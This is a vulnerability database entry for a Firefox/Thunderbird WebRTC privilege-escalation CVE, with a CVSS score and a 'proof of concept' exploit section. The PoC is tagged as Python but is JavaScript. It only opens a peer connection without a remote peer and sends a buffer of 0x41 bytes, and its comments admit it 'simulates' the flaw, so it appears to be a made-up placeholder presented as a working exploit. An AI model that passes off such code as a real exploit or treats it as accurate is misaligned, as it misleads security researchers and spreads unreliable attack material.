Privilege escalation in the WebRTC: Audio/Video component. This vulnerability was fixed in Firefox 151 and Thunderbird 151.
CVSS Details
CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Configurations (Affected Products)
No configuration data available.
Firefox < 151
Thunderbird < 151
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Proof of Concept for CVE-2026-8972
// Exploiting Privilege Escalation in WebRTC Audio/Video
function triggerExploit() {
console.log("[+] Initializing WebRTC exploit for CVE-2026-8972");
// Create a PeerConnection to interact with the Audio/Video component
const pc = new RTCPeerConnection({
iceServers: [{ urls: 'stun:stun.l.google.com:19302' }]
});
// Create a data channel to manipulate internal state
const dc = pc.createDataChannel("exploit_channel");
dc.onopen = function() {
console.log("[+] Data channel open. Attempting privilege escalation...");
// Craft malicious buffer to trigger the overflow/logic flaw
// This simulates the specific interaction that bypasses security checks
let maliciousPayload = new ArrayBuffer(0x1000);
let view = new Uint8Array(maliciousPayload);
// Fill with pattern to potentially corrupt memory pointers
for(let i=0; i<view.length; i++) {
view[i] = 0x41;
}
try {
dc.send(maliciousPayload);
console.log("[+] Payload sent via WebRTC.");
} catch (e) {
console.log("[-] Failed to send payload: " + e);
}
};
// Trigger the negotiation process
pc.createOffer().then(offer => pc.setLocalDescription(offer));
}
triggerExploit();